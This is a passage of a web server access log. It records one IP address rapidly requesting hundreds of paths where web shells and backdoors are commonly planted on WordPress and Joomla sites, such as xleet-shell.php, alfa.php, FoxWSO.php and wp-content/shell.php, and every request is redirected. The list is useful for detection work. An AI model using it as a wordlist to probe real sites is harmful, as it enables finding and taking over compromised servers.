/wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:03 -0400] "GET /hyIPpxWDQ.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:04 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:05 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:05 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:05 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:06 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:06 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:07 -0400] "GET /css/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:07 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:08 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:08 -0400] "GET /global.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:09 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:09 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:09 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:10 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:10 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:10 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:11 -0400] "GET /add_class.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:11 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:12 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:12 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:12 -0400] "GET /wp-config-premigrate.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:13 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:13 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:14 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:14 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:15 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:15 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:15 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:16 -0400] "GET /wp-admin/images/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:16 -0400] "GET /alumni_reg.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:16 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:17 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:17 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:17 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:18 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:18 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:19 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:19 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:19 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:20 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:20 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:21 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:21 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:21 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:22 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:22 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:23 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:23 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:23 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:24 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:24 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:25 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:25 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:25 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:26 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:26 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:27 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:27 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:28 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:28 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:29 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:29 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:29 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:30 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:31 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:31 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:31 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:32 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:32 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:33 -0400] "GET /.well-known/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:33 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:33 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:34 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:34 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:35 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:35 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:35 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:36 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:36 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:37 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:37 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:38 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:38 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:39 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:39 -0400] "GET /feedback.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:39 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:40 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:40 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:41 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:41 -0400] "GET /cJLGqzB.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:42 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:42 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:43 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:43 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:44 -0400] "GET /OthioNDwMEK.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:44 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:44 -0400] "GET /cgi-bin/404.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:45 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:45 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:46 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:47 -0400] "GET /images/uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:47 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:47 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:48 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:48 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:48 -0400] "GET /ws.php.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:49 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:49 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:50 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:50 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:51 -0400] "GET /eq2hbpgs.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:51 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:52 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:52 -0400] "GET /images/mzeogsze.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:52 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:53 -0400] "GET /wp-admin/css/imdnbpma.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:53 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:54 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:54 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:54 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:55 -0400] "GET /bihnmimh.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:55 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:56 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:56 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:56 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:57 -0400] "GET /wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:57 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:57 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:58 -0400] "GET /wp-content/themes/twentytwenty/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:58 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:59 -0400] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:59 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:59 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:00 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:00 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:01 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:01 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:01 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:02 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:02 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:03 -0400] "GET /shell20211022.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:03 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:03 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:04 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:04 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:05 -0400] "GET /wp-includes/images/smilies/dVSRAByORS.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:05 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:06 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:06 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:07 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:07 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:08 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:08 -0400] "GET /makeasmtp.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:08 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:09 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:09 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:10 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:10 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:11 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:11 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:11 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:12 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:12 -0400] "GET /wp-admin/user/cloud.php/config.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:13 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:13 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:14 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:14 -0400] "GET /wp-content/themes/h47vbpo2/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:14 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:15 -0400] "GET /alert.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:15 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:16 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:16 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:17 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:17 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:17 -0400] "GET /custom-plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:18 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:18 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:19 -0400] "GET /.well-known/acme-challenge/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:19 -0400] "GET /wp-includes/Text/Diff/Renderer/install.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:19 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:20 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:20 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:21 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:22 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:22 -0400] "GET /wp-corn-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:22 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:23 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:23 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:23 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:24 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:24 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:25 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:25 -0400] "GET /css/uslipjzt.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:26 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:26 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:26 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:27 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:27 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:28 -0400] "GET /admin.php1 HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:28 -0400] "GET /v4.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:29 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:30 -0400] "GET /wp-admin/6myKRCf7pkL.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:30 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:31 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:31 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:31 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:32 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:32 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:33 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:33 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:33 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:34 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:34 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:34 -0400] "GET /aaa.php/getid3-core.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:35 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:35 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:36 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:36 -0400] "GET /css_editor.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:37 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:37 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:37 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:38 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:38 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:38 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:39 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:39 -0400] "GET /.well-known/oduexytv.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:40 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:40 -0400] "GET /wp-includes/block-support.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:40 -0400] "GET 